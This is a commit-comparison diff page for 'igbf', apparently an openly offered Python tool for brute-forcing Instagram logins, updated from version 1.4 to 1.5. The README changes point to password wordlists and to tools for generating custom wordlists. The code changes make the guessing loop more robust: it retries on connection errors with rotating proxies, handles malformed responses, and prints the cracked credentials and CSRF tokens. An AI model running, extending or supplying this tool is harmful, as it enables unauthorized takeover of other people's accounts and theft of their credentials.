Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
360398032a | ||
|
|
7f84b3054f | ||
|
|
3875b0ecf4 | ||
|
|
d8e7f8d643 | ||
|
|
711d24dced | ||
|
|
bd04b74d72 | ||
|
|
77c9a93c51 |
No files matched your search
@@ -50,6 +50,11 @@ cd igbf
|
||||
|
||||
<br>
|
||||
|
||||
- ___Update___
|
||||
- Goto the `igbf` directory and type `git pull` to update to latest version or download latest from [releases](https://github.com/s41r4j/igbf/releases)
|
||||
|
||||
<br>
|
||||
|
||||
- ___Help Menu___
|
||||
|
||||
```bash
|
||||
@@ -93,11 +98,15 @@ python3 igbf.py -u USERNAME -w /PATH/TO/PASSWORD/WORDLIST -v
|
||||
|
||||
Those who are using linux/hacking machines (like kali/parrot os, which has pre-installed stuff), can find password wordlist at `/usr/share/wordlists/` (mostly `rockyou.txt`, if it is `rockyou.txt.gz` - unzip with `tar -xvzf rockyou.txt.gz`)
|
||||
|
||||
Download links for password wordlists:
|
||||
- [praetorian-inc/Hob0Rules/__wordlists__](https://github.com/praetorian-inc/Hob0Rules/tree/master/wordlist)
|
||||
- [danielmiessler/__SecLists__/Passwords/Common-Creden](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials)
|
||||
- Download links for password wordlists (more @ [Kaggle](https://www.kaggle.com/search?q=Common+Password+List) & [Github](https://github.com/search?q=passwords%20wordlists&type=repositories)):
|
||||
- [praetorian-inc/Hob0Rules/__wordlists__](https://github.com/praetorian-inc/Hob0Rules/tree/master/wordlist)
|
||||
- [danielmiessler/__SecLists__/Passwords/Common-Credentials](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials)
|
||||
|
||||
|
||||
- Generate custom wordlist ([article](https://null-byte.wonderhowto.com/how-to/create-custom-wordlists-for-password-cracking-using-mentalist-0183992/)):
|
||||
- [Common User Passwords Profiler (CUPP)](https://github.com/Mebus/cupp)
|
||||
- [Mentalist (graphical tool)](https://github.com/sc0tfree/mentalist)
|
||||
|
||||
Find more @[Kaggle](https://www.kaggle.com/search?q=Common+Password+List) & @[Github](https://github.com/search?q=passwords%20wordlists&type=repositories)
|
||||
|
||||
|
||||
<br>
|
||||
@@ -109,7 +118,7 @@ Find more @[Kaggle](https://www.kaggle.com/search?q=Common+Password+List) & @[Gi
|
||||
- Supports: Windows, Mac, Unix/Linux (Termux)
|
||||
|
||||
- If you have any quries/issues/errors, open an issue [here](https://github.com/s41r4j/igbf/issues)
|
||||
- I'm open to all contributions, clone and do a pull request
|
||||
- All contributions are welcomed, do a pull request
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
# #
|
||||
# [igbf] : Instagram Brute Forcer #
|
||||
# [desc] : python3 script to perform instagram login brute force #
|
||||
# [version] : 1.4 #
|
||||
# [version] : 1.5 #
|
||||
# [dev] : @s41r4j #
|
||||
# [github] : https://github.com/s41r4j/igbf #
|
||||
# #
|
||||
@@ -329,7 +329,7 @@ def main():
|
||||
printit("▒ ░░ ░ ░ ░ ░ ░ ░ ░▒ ", center=' ', coledt=[1, 49, 91])
|
||||
printit("░ ░ ░ ", center=' ', coledt=[1, 49, 91])
|
||||
printit(" ░ ░ ", center=' ', coledt=[1, 49, 91])
|
||||
printit('[ Instagram Brute Forcer (igbf:v1.4) ]', center=' ', coledt=[7, 49, 97], line_down=True)
|
||||
printit('[ Instagram Brute Forcer (igbf) ]', center=' ', coledt=[7, 49, 97], line_down=True)
|
||||
|
||||
# Checking if the arguments have been passed
|
||||
if username is None or wordlist is None:
|
||||
@@ -422,6 +422,7 @@ def main():
|
||||
"x-csrftoken": csrf_token,
|
||||
}
|
||||
|
||||
while True:
|
||||
# Checking if proxy is enabled (if, then use proxy)
|
||||
if proxy:
|
||||
# get random proxy from proxy list
|
||||
@@ -434,7 +435,11 @@ def main():
|
||||
single_proxy = None
|
||||
|
||||
# Sending the request
|
||||
try:
|
||||
login_response = requests.post(login_url, data=payload, headers=login_header, proxies=single_proxy)
|
||||
break
|
||||
except requests.exceptions.ConnectionError:
|
||||
continue
|
||||
|
||||
# proxy check if working
|
||||
if proxy:
|
||||
@@ -454,13 +459,23 @@ def main():
|
||||
sys.exit()
|
||||
|
||||
# login_response -> json format
|
||||
try:
|
||||
json_data = json.loads(login_response.text)
|
||||
except json.decoder.JSONDecodeError:
|
||||
pass
|
||||
|
||||
# Checking if the username is exists
|
||||
try:
|
||||
if json_data["user"] == False:
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ")
|
||||
sys.exit()
|
||||
if verbose:
|
||||
printit("\n[#] Login successful: ", coledt=[7, 49, 92])
|
||||
printit(username, coledt=[7, 49, 97], normaltxt_start="[+] Username: ")
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="[+] Password: ")
|
||||
printit2(str(user_agent), coledt=[1, 49, 96], normaltxt_start="\n[+] User-agent: ")
|
||||
printit2(str(csrf_token), coledt=[1, 49, 96], normaltxt_start="\n[+] CSRF token: ")
|
||||
else:
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ", line_down=True)
|
||||
break
|
||||
except SystemExit:
|
||||
sys.exit()
|
||||
except:
|
||||
@@ -477,13 +492,20 @@ def main():
|
||||
printit2(str(csrf_token), coledt=[1, 49, 96], normaltxt_start="\n[+] CSRF token: ")
|
||||
printit2(str("https://www.instagram.com"+json_data["checkpoint_url"]), coledt=[1, 49, 96], normaltxt_start="\n[+] Checkpoint (*req) URL: ")
|
||||
else:
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ")
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ", line_down=True)
|
||||
break
|
||||
except KeyError:
|
||||
try:
|
||||
if json_data["authenticated"] == True:
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ")
|
||||
sys.exit()
|
||||
if verbose:
|
||||
printit("\n[#] Login successful: ", coledt=[7, 49, 92])
|
||||
printit(username, coledt=[7, 49, 97], normaltxt_start="[+] Username: ")
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="[+] Password: ")
|
||||
printit2(str(user_agent), coledt=[1, 49, 96], normaltxt_start="\n[+] User-agent: ")
|
||||
printit2(str(csrf_token), coledt=[1, 49, 96], normaltxt_start="\n[+] CSRF token: ")
|
||||
else:
|
||||
printit(password, coledt=[7, 49, 97], normaltxt_start="\n[#] Login successful (pwd)> ", line_down=True)
|
||||
break
|
||||
else:
|
||||
print_login_failed(password, verbose, proxy, single_proxy, login_response.status_code)
|
||||
except SystemExit:
|
||||
@@ -512,6 +534,3 @@ if __name__ == '__main__':
|
||||
except KeyboardInterrupt:
|
||||
printit('\n\n[:)] Exiting the program...', coledt=[1, 49, 92], line_down=True)
|
||||
sys.exit()
|
||||
except requests.exceptions.ConnectionError:
|
||||
printit("\n[!] Internet connection is required!\n[;)] Exiting the program...", coledt=[1, 49, 91], line_down=True)
|
||||
sys.exit()
|
||||
Reference in new issue
Block a user